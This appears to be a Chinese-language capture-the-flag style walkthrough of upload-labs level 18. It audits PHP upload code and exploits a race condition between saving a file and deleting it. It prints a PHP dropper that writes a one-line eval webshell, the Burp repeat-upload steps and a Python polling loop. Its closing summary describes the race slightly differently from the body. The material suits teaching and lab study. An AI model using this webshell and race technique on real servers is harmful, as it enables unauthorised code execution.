简介

进入第18关后,通过提示发现这一关与之前的挑战有所不同。线索似乎隐藏在源码中。接下来,让我们一起审计和分析代码,寻找突破口。

第18关源码如下所示:

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

从源码来看,服务器首先将上传的文件保存下来,然后将文件的后缀名与白名单进行对比。如果文件扩展名是 jpgpnggif 中的一种,就会对文件进行重命名。如果不符合这些扩展名,unlink() 函数会删除该文件。

因此,如果我们上传一个图片马,依旧可能存在文件包含漏洞,可以进行利用。但如果没有文件包含漏洞,我们就只能上传一个PHP木马来进行解析和运行。

那么问题来了:上传的文件如果不符合白名单就会被删除,我们该如何利用呢?

其实,我们可以利用条件竞争上传绕过。由于代码执行需要耗费时间,如果我们能在一句话木马被删除之前访问它,就可以成功利用这个漏洞。

条件竞争(Race Condition):在多个进程或线程并发执行的情况下,程序的运行结果依赖于这些进程或线程的执行顺序。如果能在文件被删除之前成功访问它,就可以利用条件竞争的漏洞进行攻击。

我们可以使用 Burp Suite 的多线程发包功能,同时在浏览器中不断访问我们的 Webshell。这样,有可能在文件被删除的瞬间成功访问到我们的木马,实现条件竞争绕过。

通过这种方法,我们可以在严格的文件扩展名检查下,仍然有机会成功执行上传的恶意代码。

攻击步骤

  1. 编写webshell脚本

为了更好的演示效果,把一句话木马换一下改为如下所示,并命名为webshell.php

<?php fputs(fopen('pass18.php','w'),'<?php @eval($_POST["pass"])?>');?>

当访问webshell.php文件,就创建了一个名为 pass18.php 的文件,并在其中写入 PHP 代码 <?php @eval($_POST["pass"])?>

  1. 使用 BurpSuite对上传PHP文件进行重放

通过不断使用BurpSuite对上传PHP文件进行重放,并结合一个Python脚本持续访问上传的文件,我们可以利用条件竞争来绕过文件删除机制。具体方法是,BurpSuite 将不断重复发送上传请求,而 Python 脚本会持续访问我们的上传文件。这样,我们就有可能在文件被删除之前成功访问到它,从而在当前目录下生成一个名为 webshell.php的一句话木马。

  • 首先,我们上传webshell.php文件,并启用BP拦截。如下图所示:

  • 进行下一步操作前,这里有个小细节,就是不要把BP的拦截功能关闭了,要一直保持拦截状态以达到测试更好的效果。然后选择Clear$。如下图所示:

  • 接着设置无限发送空的Payloads,来让它一直上传该文件

  • 最后建议这里把线程设置高一点

  • 然后我们写一个python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的webshell.php文件) 由于隐私原因,IP地址不能放出来,下面的脚本的url地址XXX都是代表IP地址
import requests
url = "http://localhost/upload/webshell.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

  • 接下来我们可以在BP点击开始攻击

可以看到上传该文件的数据包不停地在进行重放。

  • 在BP攻击的同时我们也要运行python脚本,目的就是不停地访问webshell.php直到成功访问到为止。当出现OK说明访问到了该文件,那么pass18.phpp应该也创建成功了,

  • 用蚁剑连一下试试。如下图所示:

总结

条件竞争绕过上传限制是一种利用服务器在处理多个请求时的时间差来绕过安全检查的技术。攻击者通过快速发送多个并发请求,上传一个合法文件,并在服务器验证通过但未处理完时,替换为恶意文件,从而绕过上传限制并成功上传恶意文件。